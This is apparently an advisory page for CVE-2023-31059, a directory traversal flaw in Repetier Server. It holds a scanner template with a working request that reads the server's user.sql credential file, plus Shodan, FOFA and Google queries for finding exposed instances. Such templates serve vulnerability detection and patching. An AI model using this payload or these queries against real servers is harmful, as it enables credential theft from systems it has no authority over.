CVE-2023-31059: Repetier Server - Directory Traversal

2025-08-01 Repetier Server PoC Public

Description

Repetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php.

PoC

id: CVE-2023-31059

info:
  name: Repetier Server - Directory Traversal
  author: parthmalhotra,pdresearch
  severity: high
  description: |
    Repetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php.
  impact: |
    An attacker can read, modify, or delete arbitrary files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Repetier Server.
  reference:
    - https://cybir.com/2023/cve/poc-repetier-server-140/
    - https://www.repetier-server.com/download-repetier-server/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-31059
    cwe-id: CWE-22
    epss-score: 0.05574
    epss-percentile: 0.92472
    cpe: cpe:2.3:a:repetier-server:repetier-server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: repetier-server
    product: repetier-server
    shodan-query:
      - title:"Repetier-Server"
      - http.title:"repetier-server"
    fofa-query:
      - title="Repetier-Server"
      - title="repetier-server"
    google-query: intitle:"repetier-server"
  tags: cve2023,cve,repetier,lfi,repetier-server,vkev,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%20/base/connectionLost.php"

    matchers-condition: and
    matchers:
      - type: binary
        part: body
        binary:
          - 53514C69746520666F726D6174203300

      - type: status
        status:
          - 200
# digest: 490a0046304402206eb243e63aa8b94088c97d466c746ec0a737a43913a6fe28b1cf9884df65d53502207ec7fa202bfa614d48d174de1edf374f7c87e3e2cbc108937f5fd8fb742202e7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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